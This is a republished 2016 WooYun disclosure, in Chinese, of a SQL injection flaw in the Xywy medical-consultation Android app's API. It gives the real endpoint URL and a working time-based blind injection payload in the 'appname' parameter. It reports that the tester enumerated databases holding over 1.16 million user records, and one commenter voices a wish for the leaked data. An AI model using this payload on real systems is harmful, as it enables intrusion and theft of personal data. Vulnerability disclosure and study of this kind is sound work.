寻医问药官方APP存在SQL注入（含116W+用户数据）

admin

141449
文章

117
评论

2017年5月6日01:35:13评论2,568 views字数 235阅读0分47秒阅读模式

摘要

2016-03-13：细节已通知厂商并且等待厂商处理中
2016-03-13：厂商已经确认，细节仅向厂商公开
2016-03-14：厂商已经修复漏洞并主动公开，细节向公众公开

漏洞概要关注数(26) 关注此漏洞

缺陷编号： WooYun-2016-184220

漏洞标题：寻医问药官方APP存在SQL注入（含116W+用户数据）

漏洞作者：路人甲

提交时间： 2016-03-13 15:40

修复时间： 2016-03-14 15:18

公开时间： 2016-03-14 15:18

漏洞类型： SQL注射漏洞

危害等级：高

自评Rank： 20

漏洞状态：厂商已经修复

漏洞来源：www.wooyun.org ，如有疑问或需要帮助请联系

Tags标签： SQL注入

3人收藏

漏洞详情

披露状态：

2016-03-13：细节已通知厂商并且等待厂商处理中
2016-03-13：厂商已经确认，细节仅向厂商公开
2016-03-14：厂商已经修复漏洞并主动公开，细节向公众公开

简要描述：

APP安全之SQL注入

详细说明：

目标：寻医问药问医生Android APP

检测发现以下地方存在SQL注入：

code 区域

http://api.m.xywy.com/api/?m=Askintegral&act=apply&appname=ask&edition=4.3&model=1&sign=3f36f776d163c6b6c74b1adfdc1b41db

Payload：

code 区域

appname=ask') AND (SELECT * FROM (SELECT(BENCHMARK(2000000,MD5(0x666c5a50))))flZP) AND ('FMij'='FMij

漏洞证明：

1、跑出当前数据库用户

2、跑出所有数据库

3、跑出当前库所有表，发现116W+用户数据，具体就不深入了~

修复方案：

请多指教~

版权声明：转载请注明来源路人甲@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2016-03-13 17:44

厂商回复：

我们在9月21号就发现了这个SQL注入漏洞，同一个注入点，并且提交了详细的安全报告，当时漏洞修复了，不知什么原因又重现了。

漏洞评价：

对本漏洞信息进行评价，以更好的反馈信息的价值，包括信息客观性，内容是否完整以及是否具备学习价值

漏洞评价(少于3人评价):

登陆后才能进行评分

100%

评价

2016-03-13 16:07 | 小豹 ( 实习白帽子 | Rank:57 漏洞数:10 | 没有不老的誓言，没有不变的承诺，踏上旅途...)

1

可以的，兄弟

1# 回复此人
2016-03-13 16:33 | js2012 ( 普通白帽子 | Rank:126 漏洞数:44 | 闭关修炼。。。)

1

MARK

2# 回复此人
2016-03-14 17:35 | 寂寞的瘦子 ( 普通白帽子 | Rank:242 漏洞数:53 | ☯☯☯☯☯☯☯☯☯☯)

5

以前我加的全局过滤函数就这么废弃，哎=。=

3# 回复此人
2016-03-15 11:21 | Mark0smith ( 普通白帽子 | Rank:176 漏洞数:71 )

1

回复赞

4# 回复此人
2016-03-15 12:41 | hblf ( 路人 | Rank:16 漏洞数:3 | 甲方安全攻城狮一枚)

1

另作他法，是什么法。

5# 回复此人
2016-03-22 11:55 | 平底斜 ( 普通白帽子 | Rank:126 漏洞数:30 | 性骄奢，好声色，为文有汉魏风)

1

我只要裤子来丰富我的电脑

6# 回复此人

漏洞概要 关注数(26) 关注此漏洞